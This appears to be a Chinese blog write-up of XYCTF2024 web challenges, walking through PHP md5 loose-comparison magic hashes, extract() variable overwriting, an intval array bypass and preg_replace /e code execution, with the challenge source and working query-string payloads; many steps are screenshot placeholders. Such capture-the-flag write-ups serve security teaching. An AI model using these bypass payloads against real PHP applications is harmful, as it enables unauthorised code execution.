XYCTF2024

XYCTF2024

4.5整理出来的 但是一直忘记上传了

warm up

又是md5

源码

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}

什么情况,这么基础的md5做不来

image-20240427164306405

传入 ?val1=QLTHNDT&val2=s878926199a

image-20240427164332811

image-20240427164341739

传入 &md5=0e215962017

image-20240427164407491

image-20240427164443978

image-20240427164439832

extract是典型的变量覆盖关键字

image-20240427164541273

传入 &XY=Warm up

image-20240427164655513

然后发现 md5($XY) == md5("XYCTF_550102591")

无论如何都行不通

看了wp 换了个思路

查看 md5("XYCTF_550102591")是0e开头的,$XY$XYCTF传入一样的值,条件全部满足

构造payload

?val1=QLTHNDT&val2=s878926199a&md5=0e215962017&XY=PJNPDWY&XYCTF=PJNPDWY

image-20240427165103623

进入第二部分

LLeeevvveeelll222.php

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

有点汗流浃背

intval函数可以获取变量的整数值,用于强制类型转换

image-20240427170242171

利用数组绕过 a[]=1

image-20240427170334052

preg_replace()默认是替换所有符号匹配条件的元素

绕过 preg_replace函数

本题采用的是无限传参 参考文章

本题是 /e执行任意命令

image-20240427214158419

ezmd5

image-20240428191930767

随便上传两张照片 发现是需要两张照片的md5值相等

原文链接

image-20240428192142926

ezhttp

扫描后台

image-20240428212835396

访问robots.txt

image-20240428205339662

接着访问

image-20240428210036779

image-20240428210102622

伪造refer

抓包

posted @ 2024-05-18 20:17  Yolololololo  阅读(31)  评论(0编辑  收藏  举报